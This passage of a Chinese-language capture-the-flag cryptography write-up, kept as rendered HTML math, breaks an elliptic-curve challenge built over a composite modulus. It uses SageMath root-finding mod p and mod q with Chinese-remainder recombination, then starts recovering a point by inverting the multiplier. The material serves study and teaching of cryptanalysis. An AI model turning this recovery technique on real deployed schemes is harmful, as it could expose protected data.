style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br />设<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span></span></span></span>对<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi></mrow><annotation encoding="application/x-tex">q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>取逆为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">p^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.008548em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>，有<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>p</mi><mo>≡</mo><mn>1</mn><mtext> </mtext><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>q</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p^{-1}p \equiv 1\ (Mod\ q)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.008548em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mspace"> </span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>y</mi><mn>2</mn></msub><mo>−</mo><msub><mi>y</mi><mn>1</mn></msub><mo stretchy="false">)</mo><msup><mi>p</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>p</mi><mo>≡</mo><msub><mi>y</mi><mn>2</mn></msub><mo>−</mo><msub><mi>y</mi><mn>1</mn></msub><mtext> </mtext><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>q</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(y_2-y_1)p^{-1}p\equiv y_2 - y_1\ (Mod\ q)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace"> </span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span></span></span></span><br />故取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mn>1</mn></msub><mo>=</mo><mo stretchy="false">(</mo><msub><mi>y</mi><mn>2</mn></msub><mo>−</mo><msub><mi>y</mi><mn>1</mn></msub><mo stretchy="false">)</mo><msup><mi>p</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">k_1=(y_2-y_1)p^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span><br />此时 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>y</mi><msup><mrow></mrow><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup></msup><mo>=</mo><mo stretchy="false">(</mo><msub><mi>y</mi><mn>2</mn></msub><mo>−</mo><msub><mi>y</mi><mn>1</mn></msub><mo stretchy="false">)</mo><msup><mi>p</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>p</mi><mo>+</mo><msub><mi>y</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">y^{&#x27;}=(y_2-y_1)p^{-1}p+y_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.13692em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.94248em;"><span style="top:-2.94248em;margin-right:0.05em;"><span class="pstrut" style="height:2.57948em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8278285714285715em;"><span style="top:-2.931em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br />对<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>取模后，即可求得<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span></p><p>程序实现过程如下：</p><p>首先，先计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Z</mi><mi>m</mi><mi>o</mi><mi>d</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Zmod(p)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mord mathnormal">m</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span>域内的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">y_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，再计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Z</mi><mi>m</mi><mi>o</mi><mi>d</mi><mo stretchy="false">(</mo><mi>q</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Zmod(q)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mord mathnormal">m</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span></span></span></span>域内的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">y_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：</p><pre><code class="language-python">R.&lt;y&gt; = Zmod(p)[]f = x^3 + a*x + b - y^2print(f.roots())R.&lt;y&gt; = Zmod(q)[]f = x^3 + a*x + b - y^2print(f.roots())</code></pre><p>解得</p><pre><code class="language-text">Mod p：[(60316725576536008544362819709695572607167462139249474498633602356218818183892, 1), (54875540378266303397036199889115152062269907294431430927043089305574700783561, 1)]Mod q：[(105823306941028179927395299019710676471649082172062645166592994997652899394314, 1), (4077572833318728811840831834518494595884510028762006957796941546063704446173, 1)]</code></pre><p>计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span></p><pre><code class="language-python">y1 = 54875540378266303397036199889115152062269907294431430927043089305574700783561y2 = 4077572833318728811840831834518494595884510028762006957796941546063704446173t = (y2 - y1) * invert(p, q)t = t * p + y1y = t % nprint(y)# 10199065317034107457489102957880808079053249053270397152093884588819660579939295485085835753530135777025454703813951607770954939197597311157418124430298722</code></pre><p>这样，我们就得到了<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi><mi>i</mi><mi>p</mi><mi>h</mi><mi>e</mi><mi>r</mi></mrow><annotation encoding="application/x-tex">cipher</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">c</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>对应的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>。<br />接下来，分析椭圆曲线，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi><mo>=</mo><mi>e</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">Q=eP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>，我们已知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex">Q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">Q</span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi></mrow><annotation encoding="application/x-tex">e</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">e</span></span></span></span>，且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi></mrow><annotation encoding="application/x-tex">e</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">e</span></span></span></span>为素数，需要求<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi></mrow><annotation encoding="application/x-tex">P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>，大致思路如下：</p><p>已知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi></mrow><annotation encoding="application/x-tex">P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>为生成元的群的阶为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>，即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>P</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">nP=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi></mrow><annotation encoding="application/x-tex">e</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">e</span></span></span></span>与<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>互素时，设<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>e</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">e^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi></mrow><annotation encoding="application/x-tex">e</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">e</span></span></span></span>对<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>的逆，有<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>e</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>e</mi><mo>=</mo><mi>k</mi><mi>n</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">e^{-1}e=kn+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">n</span><span class="mspace" 